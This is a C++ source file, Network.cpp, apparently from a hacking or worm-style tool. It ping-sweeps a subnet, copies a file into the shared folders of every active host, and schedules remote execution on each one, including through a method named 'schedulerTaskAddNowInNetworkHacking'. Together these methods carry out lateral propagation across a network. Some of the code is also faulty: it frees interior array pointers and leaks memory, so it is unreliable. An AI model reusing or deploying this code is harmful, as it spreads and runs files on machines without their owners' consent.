-
Notifications
You must be signed in to change notification settings - Fork 9
/
Network.cpp
170 lines (136 loc) · 5.5 KB
/
Network.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#include "Network.h"
#include "Ping.h"
unsigned int Network::incMinutes = 1;
Network::Network(const char * netName, const char * netIP, const char * netSubnetMask, const char * netGateway) {
networkName = (char *) malloc(strlen(netName) + 1);
IPmachine = (char *) malloc(strlen(netIP) + 1);
subnetMask = (char *) malloc(strlen(netSubnetMask) + 1);
gateway = (char *) malloc(strlen(netGateway) + 1);
computerList = (Computer **) malloc(sizeof(Computer *));
startIP = (char *) malloc(strlen(netIP) + 1);
endIP = (char *) malloc(strlen(netIP) + 1);
strcpy(networkName, netName);
strcpy(IPmachine, netIP);
strcpy(subnetMask, netSubnetMask);
strcpy(gateway, netGateway);
numActiveComputers = 0;
numNetComputers = ~getSubnetBinaryMask() + 1;
setIPRanges();
}
bool Network::scanActiveComputersInNetwork() {
return Ping::ping(this);
}
bool Network::copyFileToSharesFoldersInNetwork(const char * strFilename, const char * strFilenameDestiny) {
bool result = false;
if (FunctionsFiles::fileExists(strFilename)) {
for (unsigned int i = 0; i < numActiveComputers; i++) {
if ((*(computerList + i))->copyFileToSharesFolder(strFilename, strFilenameDestiny)) result = true;
}
}
return result;
}
bool Network::schedulerTaskAddNowInNetwork(const char * command, bool interactive) {
char * time, * token;
bool result = false;
int htime, mtime;
for (unsigned int i = 0; i < numActiveComputers; i++) {
time = (*(computerList + i))->time();
if (time != NULL) {
token = FunctionsStrings::getFirstToken((char *) time, ':');
htime = atoi(token);
free(token);
mtime = atoi(FunctionsStrings::getLastToken((char *) time, ':'));
if ((*(computerList + i))->schedulerTaskAdd(FunctionsStrings::timeSerial(htime, (mtime + Network::incMinutes)), TODAY, command, interactive)) { Network::incMinutes++; result = true; }
free(time);
}
}
return result;
}
bool Network::schedulerTaskAddNowInNetworkHacking(const char * fileSourcePath, const char * filename, bool interactive) {
char * time, * token;
bool result = false;
int htime, mtime;
for (unsigned int i = 0; i < numActiveComputers; i++) {
time = (*(computerList + i))->time();
if (time != NULL) {
token = FunctionsStrings::getFirstToken((char *) time, ':');
htime = atoi(token);
free(token);
mtime = atoi(FunctionsStrings::getLastToken((char *) time, ':'));
if ((*(computerList + i))->schedulerTaskAddHacking(FunctionsStrings::timeSerial(htime, (mtime + Network::incMinutes)), TODAY, fileSourcePath, filename, interactive)) { Network::incMinutes++; result = true; }
free(time);
}
}
return result;
}
bool Network::schedulerTaskAddInNetwork(const char * time, int daysWeek, const char * command, bool interactive) {
bool result = false;
for (unsigned int i = 0; i < numActiveComputers; i++) {
if ((*(computerList + i))->schedulerTaskAdd(time, daysWeek, command, interactive)) result = true;
}
return result;
}
bool Network::schedulerTaskAddInNetwork(const char * time, char * daysMonth, const char * command, bool interactive) {
bool result = false;
for (unsigned int i = 0; i < numActiveComputers; i++) {
if ((*(computerList + i))->schedulerTaskAdd(time, daysMonth, command, interactive)) result = true;
}
return result;
}
void Network::setIPRanges() {
strcpy(startIP, FunctionsIP::castingNumberToStringIP(getIPMachineBinaryMask() & getSubnetBinaryMask()));
strcpy(endIP, FunctionsIP::sumIP(startIP, numNetComputers - 1));
}
unsigned long Network::getSubnetBinaryMask() {
unsigned long result = 0;
char * segmentIP1 = FunctionsStrings::getToken(subnetMask, '.', 1);
char * segmentIP2 = FunctionsStrings::getToken(subnetMask, '.', 2);
char * segmentIP3 = FunctionsStrings::getToken(subnetMask, '.', 3);
char * segmentIP4 = FunctionsStrings::getToken(subnetMask, '.', 4);
result += atoi(segmentIP1) << 24;
result += atoi(segmentIP2) << 16;
result += atoi(segmentIP3) << 8;
result += atoi(segmentIP4);
free(segmentIP1);
free(segmentIP2);
free(segmentIP3);
free(segmentIP4);
return result;
}
unsigned long Network::getIPMachineBinaryMask() {
unsigned long result = 0;
char * segmentIP1 = FunctionsStrings::getToken(IPmachine, '.', 1);
char * segmentIP2 = FunctionsStrings::getToken(IPmachine, '.', 2);
char * segmentIP3 = FunctionsStrings::getToken(IPmachine, '.', 3);
char * segmentIP4 = FunctionsStrings::getToken(IPmachine, '.', 4);
result += atoi(segmentIP1) << 24;
result += atoi(segmentIP2) << 16;
result += atoi(segmentIP3) << 8;
result += atoi(segmentIP4);
free(segmentIP1);
free(segmentIP2);
free(segmentIP3);
free(segmentIP4);
return result;
}
Computer ** Network::getComputerList() {
return computerList;
}
void Network::setComputerList(Computer ** compList) {
computerList = compList;
}
void Network::setNumNetActiveComputers(unsigned long numActiveComp) {
numActiveComputers = numActiveComp;
}
bool Network::clearActiveComputers() {
if (numActiveComputers > 0) {
for(unsigned long i = 0; i < numActiveComputers; i++) {
free(*(computerList + i));
free(computerList + i);
}
computerList = (Computer **) malloc(sizeof(Computer *));
return true;
}
return false;
}
void Network::clearIncrementMinutes() { Network::incMinutes = 1; }